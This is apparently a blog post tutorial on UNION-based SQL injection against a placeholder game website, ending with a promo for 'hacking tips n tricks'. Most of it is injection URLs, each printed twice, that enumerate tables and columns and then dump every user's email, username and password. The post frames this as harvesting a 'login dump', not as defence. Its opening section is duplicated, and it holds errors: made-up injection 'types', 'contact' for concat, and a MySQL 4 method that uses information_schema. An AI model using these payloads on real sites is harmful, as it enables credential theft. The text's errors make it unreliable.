There are a few different types of SQLi, they are. Regular SQLi, Blind SQLi, Advanced SQLi, Indepth SQLi, Extensive SQLi, and Deep SQLi.
Now, what ways can we use an SQLi?
Well, there are URL, Input validation boxes/forms. Those are the most common two. But it's also possible to do via XSS, RFI, LFI, and so on.
What can we gain from a successfull SQLi?
Database access.. Which is pretty much everything on the web server.
This can be both useful and dangerous. If you were a web admin, and forgot your login cradentials, you could use an SQLi exploit that you had hidden for just this, but I wouldn't recomend this. But, if a hacker were to locate this, he could use the same thing to get your password, and every password on the database.
But how does it work?
Well, I'll explain it like this.
So, lets pretend the DB(Database) is a cookie monster, and you're the person who wants some information out of the cookie monster. But, the cookie monster only gives this info to people who give him "god cookies". But, alas you don't know how to make those cookies. So, you try giving him a vanilla cookie. Well, the cookie monster is alergic to vanilla, so he says **** you. Now what? Well, you can SQLi him. How do I do this? Well, you take your vanilla cookie and some magic sprinkles to it to make it a "god cookie". Now, once the cookie monster eats this cookie, he will be under our controll. Now, we can get whatever info we want.
Now, say we want to get access to an admin page, what would we do?
Well, the first thing we would do is check if it has any sort of input validation. To do this, we could test the inputs, and hope its vulnerable, or, we could take a look at the source. Sometimes when we look at the source, and we see that the web dev was stupid. Which, works perfectly for us.
So, lets say we want to exploit this via the URL, how would we do this?
Well, we would look for a page that calls another page for info. Like, a game website.
Code:http://gamewebsite.com/game.php?game=184
There are a few different types of SQLi, they are. Regular SQLi, Blind SQLi, Advanced SQLi, Indepth SQLi, Extensive SQLi, and Deep SQLi.
Now, what ways can we use an SQLi?
Well, there are URL, Input validation boxes/forms. Those are the most common two. But it's also possible to do via XSS, RFI, LFI, and so on.
What can we gain from a successfull SQLi?
Database access.. Which is pretty much everything on the web server.
This can be both useful and dangerous. If you were a web admin, and forgot your login cradentials, you could use an SQLi exploit that you had hidden for just this, but I wouldn't recomend this. But, if a hacker were to locate this, he could use the same thing to get your password, and every password on the database.
But how does it work?
Well, I'll explain it like this.
So, lets pretend the DB(Database) is a cookie monster, and you're the person who wants some information out of the cookie monster. But, the cookie monster only gives this info to people who give him "god cookies". But, alas you don't know how to make those cookies. So, you try giving him a vanilla cookie. Well, the cookie monster is alergic to vanilla, so he says **** you. Now what? Well, you can SQLi him. How do I do this? Well, you take your vanilla cookie and some magic sprinkles to it to make it a "god cookie". Now, once the cookie monster eats this cookie, he will be under our controll. Now, we can get whatever info we want.
Now, say we want to get access to an admin page, what would we do?
Well, the first thing we would do is check if it has any sort of input validation. To do this, we could test the inputs, and hope its vulnerable, or, we could take a look at the source. Sometimes when we look at the source, and we see that the web dev was stupid. Which, works perfectly for us.
So, lets say we want to exploit this via the URL, how would we do this?
Well, we would look for a page that calls another page for info. Like, a game website.
Code:
http://gamewebsite.com/game.php?game=184
http://gamewebsite.com/game.php?game=184
Code:
http://gamewebsite.com/game.php?game=184+ORDER+BY+10--That, would do one of two things.
1) The page would load normally.
2) We would get an error.
If we get an error, we know there are less than that many columns. If it loads normally, we keep going higher until we find an error. So say the lowest number we can get an error at is 4, well, then we know there are 3 columns, and 4 doesn't exist (which is why we got the error).
Now, onto finding the vulnerable column. Get rid of the +ORDER+BY in the URL, and replace it with +UNION+SELECT
Code:
http://gamewebsite.com/game.php?game=184+UNION+SELECT+1,2,3--
http://gamewebsite.com/game.php?game=184+UNION+SELECT+1,2,3--
Once we send that, it should dispay a number on the page (it will be either 1,2,3). If no error displayed, that's okay. Some websites require you to null the value you are injecting into. So the new URL would be:
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,2,3--
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,2,3--
So, lets assume that the page displayed a 2, that would mean that the second column is vulnerable.
Now, we need to find the SQL version. How do we do this?
Its quite simple actually. We just use the @@version command. This should return either a version 4.x or 5.x. To inject the @@version command, we would change the vulnerable column to that.
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,@@version,3--
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,@@version,3--
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,convert(@@version using latin1),3--
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,convert(@@version using latin1),3--
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,unhex(hex(@@version)),3--
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,unhex(hex(@@version)),3--
Now, version 4 is more of a pain in the ass, or most people think. Most guides and such don't show people how to get the table names from a version 4 sql db. But, we will be. The URL will be alot longer in this case.
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3--
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3--
How do we do this? well, we take our original URL and add: from *table name*
Common table names are:
Code:
tbl_user, tbl_admin, tbl_access, user, users, member, members, admin, admins, customer, customers, orders, phpbb_users, phpbb_admins
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,2,3 from admin
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,2,3 from admin
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,2,3 from user
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,2,3 from user
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,2,3 from admins
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,2,3 from admins
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,2,3 from users
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,2,3 from users
Now, we need to quess colimn names from the table we just figured out. Column names within this table would most likely be like:
first_name, last_name, email, username, password, pass, user_id
You have to use common sense in alot of this. Now we go back a few steps, and remember which column was vulnerable (2). So we replace the 2 with the column name you are hoping exists in the users table.
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,first_name,3 from users
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,first_name,3 from users
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,last_name,3 from users
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,last_name,3 from users
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,address,3 from users
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,address,3 from users
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,username,3 from users
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,username,3 from users
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,password,3 from users
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,password,3 from users
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,email,3 from users
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,email,3 from users
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,email_address,3 from users
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,email_address,3 from users
Code:So we can see that in the table users, we can extract the email, username, and password.
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,contact(email,0x3a,username,0x3a,password),3 from users
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,contact(email,0x3a,username,0x3a,password),3 from users
That there, would show the email, username, then password of the first user on the DB.
But of course, we want more than the admin's info. We want everyones. How else would we make a good login dump. To all the info from the columns we want to, we then have to use the group_contact() command.
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_contact(email,0x3a,username,0x3a,password),3 from users
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_contact(email,0x3a,username,0x3a,password),3 from users
Okay, now, if instead of getting a version 4, we got version 5, we would be very happy. Because 5 is the easist one to hack.
So, we want to get the table names. This time though, we don't have to guess. The URL would look something like this when exploiting it:
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,table_name,3 from information_schema.tables
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,table_name,3 from information_schema.tables
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(table_name),3 from information_schema.tables
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(table_name),3 from information_schema.tables
An example of this is:
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(table_name),3 from information_schema.tables+where+table_schema=database()
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(table_name),3 from information_schema.tables+where+table_schema=database()
Code:About, Admin, Admins, User, Users, Affiliates, Access, Customer, etc
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(column_name),3 from information_schema.columns+where+table_name=*Hexed table name*
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(column_name),3 from information_schema.columns+where+table_name=*Hexed table name*
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(column_name),3 from information_schema.columns+where+table_name=Users
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(column_name),3 from information_schema.columns+where+table_name=Users
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(column_name),3 from information_schema.columns+where+table_name=5573657273
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(column_name),3 from information_schema.columns+where+table_name=5573657273
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(column_name),3 from information_schema.columns+where+table_name=0x5573657273
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(column_name),3 from information_schema.columns+where+table_name=0x5573657273
In this example, we will assume that first_name, last_name, email, username, password, and email are displayed. So, we would go back in the tutorial into if it was version 4, and it would be formed the same as the final command in there.
Code:
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(email,0x3a,username,0x3a,password),3 from Users
http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(email,0x3a,username,0x3a,password),3 from Users
HOPE You like all these article on website hacking , pass the comments
to get all latest hacking tips n tricks directly to ur inbox
0 komentar:
Posting Komentar